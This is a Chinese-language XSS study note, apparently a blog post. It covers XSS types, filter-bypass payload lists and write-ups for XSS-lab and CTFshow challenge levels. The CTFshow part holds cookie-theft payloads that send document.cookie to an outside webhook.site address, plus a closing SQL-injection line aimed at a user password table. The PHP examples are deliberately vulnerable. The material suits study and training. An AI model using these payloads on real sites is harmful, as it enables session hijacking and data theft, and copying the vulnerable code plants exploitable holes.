XSS入门

学习

推荐文章:对于XSS跨站脚本攻击的学习 - 先知社区 (aliyun.com)

原理文章:https://xz.aliyun.com/t/12890?time__1311=mqmhq%2BxjhiGKDsD7GY0%3DbDtRhbpWiYeD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F

概述

概念

1
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web安全漏洞,攻击者通过在受害者的浏览器中注入恶意脚本来执行恶意行为。这种攻击通常利用Web应用程序没有对用户输入的数据进行足够的过滤和验证。

攻击原理

1
2
XSS跨站脚本攻击的原理是利用Web应用程序对用户输入数据的不足过滤和验证,将恶意脚本注入到受害者的浏览器中,使其在浏览器中执行。
攻击者通常会将恶意脚本嵌入到Web页面中的某个位置,比如输入框、评论框、搜索框等等,然后诱使用户访问这个被注入了恶意脚本的页面。当用户访问页面时,恶意脚本就会在用户的浏览器中被执行,从而执行攻击者预先设定好的恶意行为,比如窃取用户的Cookie信息、伪造用户的网站行为等等。

XSS分类

储存型XSS

将代码传输到后端进而到数据库进行储存,再特定情况下实现代码功能。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<form>
<p>请输入您的评论:</p>
<textarea name="comment"></textarea>
<button type="submit">提交</button>
</form>
<?php
// 处理评论表单的提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$comment = $_POST['comment'];
// 将评论存储到数据库中
$sql = "INSERT INTO comments (content) VALUES ('$comment')";
mysqli_query($conn, $sql);
}
?>
<h2>评论区</h2>
<ul>
<?php
// 显示所有评论
$result = mysqli_query($conn, "SELECT * FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
echo "<li>" . $row['content'] . "</li>";
}
?>
反射型XSS

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

一般就是题目给一个<input>标签形成的输入框,然后我们在输入框里输入我们的恶意脚本,需要用户进行触发才能进行攻击,在前端输入恶意脚本,后端接受,然后再在前端显示,这也就是反射型XSS的数据流通。

示例:

1
2
3
4
5
<form>
<input type="text" name="name">
<button type="submit">提交</button>
</form>
<p>您好,<?php echo $_GET['name']; ?>!</p>
DOM型XSS

不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

这种XSS攻击是不经过后端的,它也算是一种反射型XSS,但是它的数据流通过程比较简单,就是在前端url添加我们的恶意脚本,然后直接在页面输出了

1
2
3
4
5
<script>
var query = window.location.search.substring(1);
var name = query.split("=")[1];
document.write("<p>Hello, " + name + "!</p>");
</script>
JSONP XSS

参考文章:jsonp安全攻防技术(JSON劫持、XSS漏洞)_xss漏洞 json-CSDN博客

XSS攻击点(插入点)

插入到HTML注释内容中

没见过,见过再补。

插入到HTML标签属性值中

示例:<img src=‘img.png’ onerror=“<script>alert(1)</script>”>

附:onerror属性值并不是简单的出现在网页上,而是会经过HTML和JavaScript语法。事实上,onerror是JavaScript的属性。

插入到HTML标签属性名中

没见过,见过再补。

插入到HTML标签名中

没见过,见过再补。

插入到CSS中

示例:

1
<div style="background-image:url('javascript:alert(`Evi1s7`)');">

插入到HTTP响应中

没见过,见过再补。

XSS绕过

关键词绕过

大小写绕过

示例(原理是第一点):

1
2
3
4
<?php
$q = isset($_GET['q']) ? $_GET['q'] : '';
$q = strtolower($q);
?>

以下是一些可能导致大小写绕过的情况和原理:

  1. 标签和属性名不区分大小写:
    • 在HTML中,标签名和属性名是不区分大小写的。例如,<script><SCRIPT> 是等效的。攻击者可能会尝试使用不同大小写的标签和属性名,以绕过一些基于规则的过滤器。
  2. JavaScript事件处理属性不区分大小写:
    • 在HTML中,JavaScript事件处理属性(如onclickonmouseover等)也是不区分大小写的。攻击者可以尝试使用大小写变体来绕过一些检测。
  3. HTML实体编码绕过:
    • 攻击者有时会使用HTML实体编码来混淆代码,以尝试绕过安全过滤。大小写变体可能会用于混淆这些实体编码,使其更难以识别。
  4. 混合大小写的JavaScript:
    • 在JavaScript中,变量和函数名是区分大小写的,但攻击者可能尝试使用混合大小写的形式,使其更难以检测。
拼接绕过
eval()函数

函数解析

在 JavaScript 中,eval() 函数用于执行传递给它的字符串中的 JavaScript 代码。

语法:eval(codeString)

示例:

var x = 10;
var y = 20;
var codeString = "x + y";
var result = eval(codeString);
console.log(result); // 输出 30

把eval的参数字符串当成运行代码即可

绕过示例

1
<img src="x" onerror="eval('al'+'ert(Evi1s7)')">
window
1
<img src="x" onerror="window['al'+'ert'](1)">

这段代码中 window['alert'](1) 是使用 JavaScript 中的数组标记法(Array Bracket Notation)来调用 window 对象的 alert 方法。

在 JavaScript 中,window 是全局对象,而 alertwindow 对象的一个方法,用于在浏览器中显示一个警告框,通常用于向用户显示一条消息。

在这里,window['alert'](1) 实际上等同于 window.alert(1)。这行代码的作用是在浏览器中弹出一个警告框,显示数字 1。然而,需要注意的是,这样的代码常常被用于恶意目的,尤其是在尝试进行跨站脚本(XSS)攻击时,因此在实际开发中应该小心处理用户输入,以防止安全漏洞。

其它与之类似的还有top,frame,window,self,parent等等。

1
<img src="x" onerror="top['al'+'ert'](Evi1s7)">
1
<img src="x" onerror="self[`al`+`ert`](1)">
1
<img src="x" onerror="parent[`al`+`ert`](1)">
1
<img src="x" onerror="frames[`al`+`ert`](1)">
函数替换

当一些函数被禁用时,可以替换为其他函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">
嵌套绕过(双写绕过)
1
<sc<script>ript>alert('Evi1s7')</sc</script>ript>

没啥说的

赋值绕过

这个有点意思,用变量代替字符串,看例子:

1
2
3
4
5
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src x=al y=ert onerror=window[x+y](1)> #在网页没有嵌套框架时才有效。
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

编码绕过

HTML实体编码和Unicode编码

原理:

1.JavaScript引擎会将DOM文档的实体编码解码为原始字符,所以有些字符可以用实体编码代替

2.在正常情况下,JavaScript 引擎会正确解释和执行 Unicode 编码的字符。例如,下面的 JavaScript 代码将正确输出 “你好”:

1
2
javascriptCopy code
console.log('\u4F60\u597D')
url编码绕过

示例:<a href=javascript:%61%6c%65%72%74%28%31%29>Evi1s7</a>

原理:在 JavaScript 伪协议中,当使用 javascript: 开头的 URL,并且其中包含编码后的 JavaScript 代码时,浏览器在执行这个 URL 时,会先解码其中的百分号编码,然后再执行解码后的 JavaScript 代码。

附:src和href的运用

src:

<script>标签

src属性用于指定引入外部JavaScript文件的URL

<img>标签

src属性用于指定要显示的图像的URL

<frame>标签

src属性用于指定要嵌入的另一个文档的URL。

<audio><video>标签

src属性用于指定要播放的音频或视频的URL

href:

<a>标签

href属性用于指定链接目标的URL。

<href>标签

href属性用于指定外部样式表的URL。

<base>标签

href属性用于指定基准URL,所有相对URL都将以该URL为基础。

<area>标签

href属性用于指定图像地图中区域的URL。

空格绕过

在html的标签中的不同位置的空格绕过方式不是一样的

1
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置: /,/123/,%09,%0A,%0C,%0D,%20, /**/

B位置:%09,%0A,%0C,%0D,%20

C位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)

D位置:%09,%0A,%0C,%0D,%20,//,>

小括号()绕过

利用反引号``

示例:

1
<script>alert`1`</script>
throw
1
<script>alert;throw 1</script>

单引号过滤

斜杠替换
1
<script>alert(/Evi1s7/)</script>
反引号替换
1
<script>alert(`Evi1s7`)</script>

alert过滤

用其他函数替换

prompt()

1
<script>prompt('Evi1s7')</script>

confirm()

1
<script>confirm('Evi1s7')</script>

console.log()

1
<script>console.log('Evi1s7')</script>

document.write()

1
<script>document.write('Evi1s7')</script>

还可以利用编码绕过,JavaScript引擎会自动解码。

分号绕过

当只过滤了分号时,可以利用花括号进行语句隔离

1
<script>{onerror=alert}throw 1</script>

长度限制

可以利用拆分法

1
2
3
4
5
<script>a='document.write("'</script>
<script>a=a+'<a href=ht'</script>
<script>a=a+'tp://VPS-IP:po'</script>
<script>a=a+'rt>Evi1s7</a>")'</script>
<script>eval(a)</script>

利用eval()函数将字符串解析为可执行的代码,从而进行拼接

1
document.write("<a href=http://VPS-IP:port>Evi1s7</a>")闯关

XSS_LAB闯关

Less-1

source:echo "<h2 align=center>欢迎用户".$str."</h2>";

语句:

  1. <img src="" onerror=alert(233)>

  2. <input onclick=alert(233)>

  3. <sccript>alert(1)</script>

须知:第二种注入以后刚开始可能会报错,再点一下输入框即可。

Less-2

source:

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<input name=keyword value="'.$str.'">

显然第一行的不可以,看看第二行。

语句:

  1. "> <script>alert(1)</script>//
  2. " onclick=alert(1)>//

Less-3

source:

<input name=keyword value='".htmlspecialchars($str)."'>

须知:

使用htmlspecialchars()函数对输入进行了处理,该函数会将双引号、小于号、大于号、&符号转换为对应的HTML实体编码,但默认情况下并不会对单引号进行编码

语句:

' onclick=alert(1)//

附:因为htmlspecialchars()函数,所以用不了闭合插入法(哈哈,自己编的)。

Less-4

source:

$str2=str_replace(">","",$str);

$str3=str_replace("<","",$str2);

<input name=keyword value="'.$str3.'">

由上可知大小于号又没了,只能用属性法了(没错,又是我自己编的)。

语句:

" onclick=alert(1)//

Less-5

source:

$str = strtolower($_GET["keyword"]);

$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

<input name=keyword value="'.$str3.'">

全部小写,再来两个替换。

语句:

"><a href=javascript:alert(1)>hi</a>//

须知:

JavaScript伪协议:

伪协议不同于因特网上所真实存在的协议,而是为关联应用程序而使用的。

格式:javascript:······,通常在最后面加一句:void 0;

如果有多个语句需要用逗号分隔。

Less-6

source:

$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

<input name=keyword value="'.$str6.'">

限制很多·······,不过没有大小写转换,而HTML对大小写不敏感。

语句:

"><a HREF=javascript:alert(1)>hi</a>//

Less-7

source:

$str =strtolower( $_GET["keyword"]);

$str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

<input name=keyword value="'.$str6.'">

大小于号不过滤都好写。

语句:

"><sscriptcript>alert(1)</sscriptcript>//

" oonnclick=alert(1)>//

"><a hhrefref=javasscriptcript:alert(1)>hi</a>//

Less-8

source:

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','&quot',$str6);

<input name=keyword value="'.htmlspecialchars($str).'">

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

须知:

在表单输入框里输入的数据会在url框里进行一次编码

url框里显示的数据中的汉字实际上在传输时会被url编码

语句:javascr%09ipt:alert(1)

须知:须在url框里,因为表单输入框会进行一次url编码,结果没有是空格的。其实在表单输入框里原样输入即可,但是空格输入后会变成加号。

分析:按照常理应该在input里搞事情,但是htmlspecialchars()函数阻止了该操作,但是可以在echo里操作。另外,虽然在代码中有水平制表符,但是不会影响,代码会忽略它。

Less-9

须知:

在 HTML 中,无论字符串是否被单引号或双引号包裹,javascript: 伪协议依然会被浏览器解释并执行。引号的使用主要是用于区分 HTML 属性的开始和结束,而不会影响到伪协议的执行。

source:

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','&quot',$str6);

<?php

if(false===strpos($str7,'http://')){

echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';

}else{

echo '<center><BR<a href="'.$str7.'">友情链接</a></center>';}?>

语句:

javascr%09ipt:alert(1)//http://
javasc%09ript:alert('http://');

Less-10

source:

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

<input name="t_sort" value="'.$str33.'" type="hidden">

语句:

t_sort=" type="text" onclick=alert(1) id="

须知:相同属性值,前面那一个生效。

Less-11 Less-12 Less-13

source:

$str11=$_SERVER['HTTP_REFERER'];

//Less-12是UA,Less-13是Cookie

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

<input name="t_ref" value="'.$str33.'" type="hidden">

注入到请求头里面。

语句:

" type='text' onclick=alert(1) id="

Less-14

Less-14涉及exif xss

由于网站原因,不写这题

Less-15

本题涉及ng-include包含

source:

$str = $_GET["src"];

echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

语句:

src='level1.php?name=<img src=x onerror=alert(1)>'

echo '<body><span class="ng-include:''level1.php?name=<img src=x onerror=alert(1)>''"></span></body>';

这段代码可以,但我不懂为什么两个单引号不报错

Less-16

source:

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","&nbsp;",$str);

$str3=str_replace(" ","&nbsp;",$str2);

$str4=str_replace("/","&nbsp;",$str3);

$str5=str_replace(" ","&nbsp;",$str4);

echo "<center>".$str5."</center>";

大小写绕过失效,script、/、空格等都被转换成&nbsp,可以尝试使用%0a代替空格来进行绕过

语句:

<img%0asrc=1%0aonerror=alert(1)>

Less-17 Less-18

source:

echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

语句:

?arg01=a&arg02=b onmouseover=alert(1)

原理不懂,引用:

  • <embed>:HTML 标签,用于嵌入外部资源,如 Flash 文件。
  • src=xsf02.swf?"a"="b onmouseover=alert(1)":这部分构建了 SWF 文件的 URL。在这里,a 被赋值为 b onmouseover=alert(1)。这可能导致在页面上嵌入的 Flash 文件中触发一个 JavaScript 弹窗,即执行了 alert(1)
  • width=100% height=100%:指定嵌入的 SWF 文件的宽度和高度为 100%。

CTFSHOW WEB入门 XSS闯关

316

尝试<script>alert(1)</script>,正常弹窗,没有过滤

payload:

<script>window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?cookie='+document.cookie)</script>

317 318 319

317过滤了script,318过滤了img

方法1:失败

<img src=1 onerror=alert(1)>成功

payload:

< img src=1 onload="window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?cookie='+document.cookie)">

但是这得到的是本地cookie

方法2:成功

<body onload=alert(1)></body>成功

payload:

<body onload="window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?cookie='+document.cookie)"></body>

须知:onload可以执行JavaScript代码,当script被过滤后可以尝试使用它。

320–326

空格过滤了,用/**/

payload:

<body/**/onload="window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?cookie='+document.cookie)"></body>

327

一直网络拥堵,唉。

328

先得到admin的cookie:将用户名或者密码进行xss注入,payload:

可以在网站上得到admin的cookie,在控制台的application里改cookie,然后刷新即可。

329

payload:

<body/**/onload=window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?a='+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1'))></body>

330

' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4